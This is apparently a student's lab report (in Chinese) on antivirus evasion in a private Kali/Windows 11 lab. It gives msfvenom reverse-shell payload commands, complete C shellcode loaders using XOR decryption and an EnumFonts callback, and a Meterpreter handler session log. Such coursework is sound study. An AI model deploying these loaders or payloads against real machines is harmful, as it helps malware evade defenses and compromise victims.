20242315 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242315 2026-2027-1 《网络与系统攻防技术》实验三实验报告
实验名称:免杀原理与实践
实验时间:2026 年 10 月 23 日—24 日
攻击机:Kali Linux 2026.2,主机名zhangguanlun,IP192.168.64.128
靶机:另一台 Windows 11 主机,计算机名LAPTOP-FP4PE0P9,IP192.168.64.1
杀软:火绒安全软件 6.0.12.3,病毒库 2026-10-23 19:23
静态检测:VirSCAN,48 个引擎
1. 基础知识
1.1 杀软是如何检测出恶意代码的(问题一)
杀软通常把多种检测手段叠在一起,任何一层发现可疑信号,都可能告警或删除。
| 检测层 | 主要依据 | 本次实验中的表现 |
|---|---|---|
| 静态特征 | 哈希、连续字节序列、PE 模板 | 基线 exe 被 16 个引擎检出,火绒报 HVM |
| 静态启发式 | 节区、导入表、熵、公开壳痕迹 | 明文 C loader 落地被删;UPX 样本被报 [packed] |
| 动态行为 | API 调用链、内存权限、网络连接 | 进阶 loader 静态 4/48,运行阶段被行为沙盒拦截 |
| 云端/流式 | 云端二次判定、下载保护 | 回调版在 .tmp 阶段被火绒阻止下载 |
1.2 免杀是做什么的(问题二)
免杀是在不改变恶意代码最终功能的前提下,改变它在磁盘上、内存里和网络上的“样子”,使杀软不在关键环节把它认出来。要区分三个层面:静态免杀解决文件落盘不被扫描;动态免杀解决运行阶段不被行为引擎或沙盒拦住;投递免杀解决下载、解压、复制过程中不被流式扫描截获。一个样本可以做到 VirSCAN 只有 2/48,却在下载阶段被火绒删掉;也可以静态被查出,但通过信任区跑起来。这几件事必须分开看。
1.3 免杀的基本方法有哪些(问题三)
| 方法 | 做法 | 局限 | 本次对应 |
|---|---|---|---|
| 编码/加密 | shikata_ga_nai、XOR | 解码 stub 仍是特征;加密不改变执行链 | 编码 10 次、XOR |
| 换文件形态 | jar、php 等非 PE 文件 | 仍可能被 Java/PHP 特征命中,依赖运行环境 | jar、C 二次编译 |
| 加壳 | UPX 压缩 | 公开壳特征明显,能被脱壳 | UPX |
| 内存加载/API 规避 | VirtualAlloc、VirtualProtect、回调执行 | “申请—写入—改权限—执行”仍可能被行为引擎识别 | 进阶/回调 loader |
| 组合与投递 | 加密 + 换编译器 + 权限分离 + 换传输 | 投递层仍可能被流式扫描拦截 | 回调版 + 信任区 |
1.4 本实验使用的工具
| 工具/API | 关键点 |
|---|---|
msfvenom |
-e 选编码器、-i 迭代、-f 选格式;shikata_ga_nai 依赖固定解码 stub,多编码不等于免杀 |
| Veil-Evasion | 把 shellcode 嵌入 C 模板重新编译,改的是外层 PE 结构和编译器指纹 |
| C loader | VirtualAlloc 申请内存、memcpy 写入、函数指针或系统回调执行;32 位 shellcode 必须配 32 位 loader |
| UPX | 公开压缩壳,能改变文件结构和体积,但对行为监控无效 |
msfvenom 的用法参考 Rapid7 文档[2];Veil 参考 Kali 工具页和项目仓库[3][4];火绒的 HVM/行为沙盒参考官方资料[5];VirtualAlloc、VirtualProtect、EnumFonts 以 Microsoft 文档为准[6][7][8]。
2. 实验内容
本次实验要求完成三部分:一是正确使用 msf 编码器、Veil-Evasion、C + shellcode 编程等技巧;二是组合多种技术实现免杀并说明原理;三是在另一台电脑上开启杀软运行并回连,注明杀软版本。
2.1 实验任务
| 任务 | 内容 | 关键点 |
|---|---|---|
| 任务一 | msf 编码器与多格式载荷 | 基线 exe、shikata_ga_nai ×10、jar 格式 |
| 任务二 | Veil-Evasion 与 UPX | C stager 重编译、UPX 加壳、静态对比 |
| 任务三 | C + shellcode 编程 | -f c、VirtualAlloc、mingw 交叉编译 |
| 任务四 | 组合技术实现免杀 | XOR 加密、RW→RX、EnumFonts 回调 |
| 任务五 | 另一台电脑实测 | 火绒开启、handler 回连、sysinfo |
2.2 方案简介与成功判据
路线是“先单点、后组合”:先用 msfvenom 直接生成 exe 拿基线,再用编码器和 jar 看“只改静态特征”有没有用;接着用 Veil 换编译外壳、用 UPX 加壳;然后自己写 C loader,从明文 shellcode 走到 XOR 加密、RW→RX 权限分离,最后用 EnumFonts 回调改变执行入口;最后在另一台 Windows 11 主机上开启火绒验证回连。
成功判据不只看 VirSCAN 数字,还要记录火绒在哪个环节介入、最终能否拿到 session。结果分成三级:静态层看检出是否下降;动态层看运行阶段是否触发行为沙盒;投递层看下载/复制阶段是否被流式扫描拦截。本次最终回连是在把文件加入火绒信任区、恢复主动防御后完成的,投递层并没有做到“无告警落地”,所以不写成“全链路免杀”。
3. 实验过程
3.0 实验准备
Kali 2026.2 的 ip a 显示地址 192.168.64.128/24、主机名 zhangguanlun(图1)。靶机是另一台 Windows 11 主机,火绒版本 6.0.12.3、病毒库 2026-10-23 19:23,文件实时监控、恶意行为监控等 7 项防护均开启(图2、图3)。实验只在本机 Kali 虚拟机和本人 Windows 主机上进行。

图1 Kali 地址 192.168.64.128/24,主机名 zhangguanlun

图2 火绒版本 6.0.12.3,病毒库 2026-10-23 19:23

图3 火绒 7 项病毒防护均开启
3.1 任务一:基线、编码与 jar
3.1.1 基线 exe
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.64.128 LPORT=4444 \
-f exe -o payload_20242315.exe
payload 355 字节,exe 7168 字节。Kali 终端的生成过程如图 4。上传 VirSCAN,16/48 检出;拖到靶机后火绒报 HVM:Trojan/Swrot.gen!A,基线样本未进入运行阶段。如图 5、图 6。

图4 Kali 终端生成 payload_20242315.exe,payload 355 字节,exe 7168 字节

图5 基线 payload 在 VirSCAN 上被 16 个引擎检出

图6 火绒报 HVM:Trojan/Swrot.gen!A,基线样本未进入运行阶段
3.1.2 shikata_ga_nai 编码 10 次
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.64.128 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-f exe -o payload_20242315_enc10.exe
shellcode 从 382 字节增长到 625 字节,exe 7680 字节,Kali 终端的 10 次编码输出如图 7。火绒仍报同一个 HVM:Trojan/Swrot.gen!A,并在 VMwareDnD 临时目录直接删除,如图 8。这一组没有再上传 VirSCAN:文件已经没机会运行,且解码 stub 不变,未复测的数字不写成实测值。

图7 Kali 终端完成 10 次编码,最终 shellcode 625 字节,exe 7680 字节

图8 编码 10 次后火绒仍报同一 HVM 名称,并直接删除文件
3.1.3 jar 格式
msfvenom -p java/meterpreter/reverse_tcp \
LHOST=192.168.64.128 LPORT=4444 \
-f jar -o payload_20242315.jar
jar 没有 PE 头,理论上静态特征更少,但 VirSCAN 仍检出 15/48,文件大小 5.14 KB;报法包括 Java/Agent-AUJ、Java/Meterpreter、Exploit.Java... 等,如图 9。15/48 只比 exe 基线低 1 个,说明换格式不是万能的:jar 里仍然是 Java meterpreter 的类文件和载荷逻辑,很多引擎有专门签名。它还需要 Java 运行时,本次只做静态检测,没有在靶机执行回连。

图9 payload_20242315.jar 在 VirSCAN 上检出 15/48,文件大小 5.14 KB
3.1.4 任务一小结
编码 10 次后火绒仍报同一 HVM;jar 15/48 也只比 exe 低 1 个。编码器和换格式都只改静态特征,不能替代加载方式改造。
3.2 任务二:Veil-Evasion 与 UPX
sudo veil
use 1
use 7
set LHOST 192.168.64.128
set LPORT 4444
generate
base name 填 veil_20242315,生成 /var/lib/veil/output/compiled/veil_20242315.exe。Veil 把 shellcode 嵌入 C 模板再编译,去掉了 msfvenom 原生 exe 的固定模板。Kali 上的生成过程如图 10。

图10 Veil 的 c/meterpreter/rev_tcp 生成成功,输出路径带学号
upx veil_20242315.exe -o veil_20242315_upx.exe
未加壳上传 VirSCAN,6/48,文件 113.04 KB,如图 11。UPX 加壳后体积 64.04 KB,检出 4/48;OneAV 报 [packed],ESET 仍报 Win32/Agent.QQQ trojan,说明壳没有挡住检测,如图 12。这两组只做静态对比,没有在靶机运行,不能当成动态免杀成功。

图11 veil_20242315.exe 在 VirSCAN 上检出 6/48

图12 veil_20242315_upx.exe 体积 64.04 KB,检出 4/48,OneAV 报出 [packed]
3.3 任务三:C + shellcode 编程
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.64.128 LPORT=4444 \
-f c -o shellcode_20242315.c
#include <windows.h>
#include <string.h>
unsigned char buf[] = "\xfc\xe8..."; // 替换为 shellcode_20242315.c 中的完整数组
int main(void) {
void *exec = VirtualAlloc(0, sizeof(buf),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!exec) return 1;
memcpy(exec, buf, sizeof(buf));
((void (*)(void))exec)();
return 0;
}
windows/meterpreter/reverse_tcp 默认是 32 位 shellcode,必须用 32 位编译器:
i686-w64-mingw32-gcc loader_simple_20242315.c \
-o loader_simple_20242315.exe -O2
文件 120.11 KB,VirSCAN 3/48,说明去掉 msfvenom 固定模板有效;但文件里仍是明文 shellcode,拖到靶机就被火绒文件实时监控删除,如图 13。换编译器只能解决 PE 模板特征,解决不了明文数据特征。

图13 loader_simple_20242315.exe 在 VMwareDnD 临时目录被火绒删除
3.4 任务四:组合技术实现免杀
3.4.1 XOR 加密与权限分离
用 Python 对 shellcode 逐字节异或 0x5A,生成 enc_xor_20242315.h,文件中不再出现明文 \xfc\xe8...。loader 先申请 RW 内存,写入密文并原地解密,再用 VirtualProtect 改成 RX 后执行。编译后 106.11 KB,VirSCAN 4/48,但双击运行时火绒报“行为沙盒”并自动处理,如图 14。静态过了,动态没过。

图14 火绒报“木马病毒(行为沙盒)”,loader_adv_20242315.exe 被自动处理
3.4.2 回调版:用 EnumFonts 改变执行入口
不再直接写 ((void(*)())exec)(),而是把 shellcode 地址转成 FONTENUMPROCA,交给 EnumFonts 的回调机制触发:
#include <windows.h>
#include <wingdi.h>
#include <string.h>
#include "enc_xor_20242315.h"
#define KEY 0x5A
int main(void) {
void *exec = VirtualAlloc(0, enc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!exec) return 1;
memcpy(exec, enc, enc_len);
unsigned char *p = (unsigned char *)exec;
for (unsigned int i = 0; i < enc_len; i++) {
p[i] = p[i] ^ KEY;
}
DWORD old;
VirtualProtect(exec, enc_len, PAGE_EXECUTE_READ, &old);
HDC hdc = GetDC(NULL);
EnumFonts(hdc, NULL, (FONTENUMPROCA)exec, 0);
return 0;
}
编译时加 -lgdi32:
i686-w64-mingw32-gcc loader_callback_20242315.c \
-o loader_callback_20242315.exe -O2 -lgdi32
文件 108.13 KB,VirSCAN 2/48,如图 15。但下载时火绒在 .tmp 阶段就报“行为沙盒”并阻止,浏览器显示“无法下载”,如图 16;随后 SmartScreen 又拦了未签名 exe。为了单独测行为层,我把文件加入火绒信任区、重新开启主动防御后再运行。

图15 loader_callback_20242315.exe 检出 2/48,文件大小 108.13 KB

图16 文件尚未完全落盘,火绒已在 .tmp 阶段报“行为沙盒”并阻止下载
3.4.3 免杀原理分析(纯文字)
- 静态层:XOR 让磁盘上没有明文 shellcode;自编译 PE 去掉了 msfvenom 的固定模板。
- 结构层:先 RW 写入再 RX 执行,避免 RWX 同时存在;回调把“函数指针直接调用”换成系统 API 的回调入口。
- 行为层:
EnumFonts的调用来自gdi32,loader 自身没有显式的“写入后立刻跳转”代码,调用链更像正常程序。 - 投递层:没有解决。下载保护仍会在
.tmp阶段拦截,SmartScreen 仍会拦未签名文件;信任区只是把投递变量拿掉,不是技术免杀。
回调并没有把 shellcode 变成“合法代码”,也没有让内存扫描失效;如果杀软在回调触发前扫描那块 RX 内存,仍然可能抓到 shellcode。
3.5 任务五:另一台电脑实测(火绒开启)
靶机是另一台 Windows 11 主机,火绒版本和 7 项防护状态如图 2、图3。Kali 侧监听:
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.64.128
set LPORT 4444
run
在主动防御开启、文件已加入信任区的状态下运行 loader_callback_20242315.exe:
[*] Started reverse TCP handler on 192.168.64.128:4444
[*] Sending stage (199238 bytes) to 192.168.64.1
[*] Meterpreter session 1 opened (192.168.64.128:4444 -> 192.168.64.1:11539) at 2026-10-23 10:47:21 -0400
sysinfo 返回:
Computer : LAPTOP-FP4PE0P9
OS : Windows 11 24H2+ (10.0 Build 26200)
Architecture : x64
Meterpreter : x86/windows
完整截图如图 17。靶机是 64 位 Windows 11,payload 是 32 位,运行在 WoW64 兼容层,所以 Architecture 是 x64、Meterpreter 是 x86/windows。

图17 火绒主动防御开启、文件已信任的条件下拿到 session,sysinfo 显示 LAPTOP-FP4PE0P9
这次“共生”的准确表述是:把样本加入信任区、恢复火绒主动防御后,回调版运行阶段没有再触发火绒告警,Kali 拿到了可交互会话。 它证明回调执行对行为层有一定绕过效果,但不能证明文件在完全陌生的靶机上也能无告警落地——下载阶段的 .tmp 拦截和 SmartScreen 都是真实发生过的。
3.6 结果汇总
| 阶段 | 样本 | 处理方式 | VirSCAN | 火绒 6.0.12.3 的反应 | 结论 |
|---|---|---|---|---|---|
| 基线 | payload_20242315.exe |
msfvenom 直接生成 | 16/48 | 落地报 HVM,未进入运行 | 模板特征明显 |
| 编码 | payload_20242315_enc10.exe |
shikata_ga_nai ×10 | 未复测 | 文件实时监控报同一 HVM 并删除 | 编码不改变解码 stub |
| jar | payload_20242315.jar |
java meterpreter | 15/48 | 未做靶机运行(无 Java 环境) | 非 PE,但 Java 特征仍被识别 |
| Veil | veil_20242315.exe |
C stager 重编译 | 6/48 | 未做靶机运行,仅静态对比 | 换壳能降静态特征 |
| Veil+UPX | veil_20242315_upx.exe |
UPX 加壳 | 4/48 | 未做靶机运行,仅静态对比 | 公开壳收益有限 |
| 明文 loader | loader_simple_20242315.exe |
RWX + 直接调用 | 3/48 | 落地即被文件实时监控删除 | 明文 shellcode 暴露 |
| 进阶 loader | loader_adv_20242315.exe |
XOR + RW→RX | 4/48 | 运行阶段被“行为沙盒”拦截 | 静态过了,动态没过 |
| 回调 loader | loader_callback_20242315.exe |
EnumFonts 回调 | 2/48 | .tmp 被拦;信任区放行后运行无行为告警 |
行为层绕过,投递层仍需处理 |
三个关键结论:
- 编码和换格式都不是免杀。 编码 10 次仍报同一 HVM;jar 15/48 只比 exe 低 1 个。
- 静态低检出不等于动态能过。 进阶版 4/48、回调版 2/48,都曾在下载或运行阶段被火绒拦住。
- 最终 session 有条件。 它是在信任区、恢复主动防御后拿到的,不能写成“全链路无告警”。
4. 问题及解决方案
| 问题 | 原因 | 解决 |
|---|---|---|
Veil 安装卡在 Username for 'https://gitee.com',改脚本后报 syntax error near unexpected token 'then' |
老脚本依赖 GitHub;全局替换/删行破坏了 if 上下文 |
apt install --reinstall -y veil 恢复脚本;精确替换为 https://gitee.com/spears/VeilDependencies.git;补 wine32 后重新 setup.sh --force |
编译回调版报 undefined reference to _imp__EnumFontsA@16 |
EnumFonts 属于 GDI32,MinGW 默认没链接 |
编译命令末尾加 -lgdi32 |
| loader 编译成功,双击没反应,火绒也没日志 | 32 位 shellcode 配了 64 位 loader,跳转后直接崩溃 | 改用 i686-w64-mingw32-gcc 编译 32 位 |
| VMware 拖拽/浏览器下载阶段文件就被删 | 火绒文件实时监控和下载保护做流式扫描,不等文件落盘 | 改用 HTTP/共享文件夹;仍被拦时把“投递”和“运行”拆开,信任区放行后再恢复主动防御测试 |
| SmartScreen 拦未签名 exe | 自编译文件没有签名和下载信誉 | 浏览器下载列表选“保留”或文件属性里“解除锁定” |
5. 学习感悟、思考等
这次实验最大的收获,是我对“免杀”的理解变了。动手前我以为免杀主要是“把特征码改掉”,编码次数越多、壳越冷门越好。结果基线 16/48,编码 10 次后火绒仍报同一个 HVM:Trojan/Swrot.gen!A;jar 没有 PE 头,也只降到 15/48。shikata_ga_nai 改变的是字节序列,解码 stub 还在;jar 里仍然是 Java meterpreter 的类文件和载荷逻辑。静态特征换了,执行链没换,杀软还是能认出来。
第二个感受是“静态低检出”和“能跑起来”差得很远。明文 loader 只有 3/48,但明文 shellcode 一落地就被删;XOR 版 4/48,能落盘、能双击,却在运行阶段被行为沙盒抓住;回调版 2/48,下载阶段仍然被 .tmp 拦截。静态、流式、行为、投递是四层不同的东西,不能用一个数字概括。
第三个感受是工具太难搞了。Veil 的 setup.sh 依赖 2018 年的 GitHub 仓库,换 Gitee 镜像、补 wine32、弹 Python 3.4.4 安装向导,一系列操作让人很烦。排错时不能只盯着报错行,还要看自己上步做了什么。
最后,这次 session 是在把文件加入信任区、恢复主动防御后拿到的;下载阶段的拦截和 SmartScreen 都是真实发生过的。更准确的结论是:回调执行对行为层有一定绕过效果,静态检出也降到了 2/48,但投递层仍需额外处理;信任区放行是人为变量,不是技术免杀。
浙公网安备 33010602011771号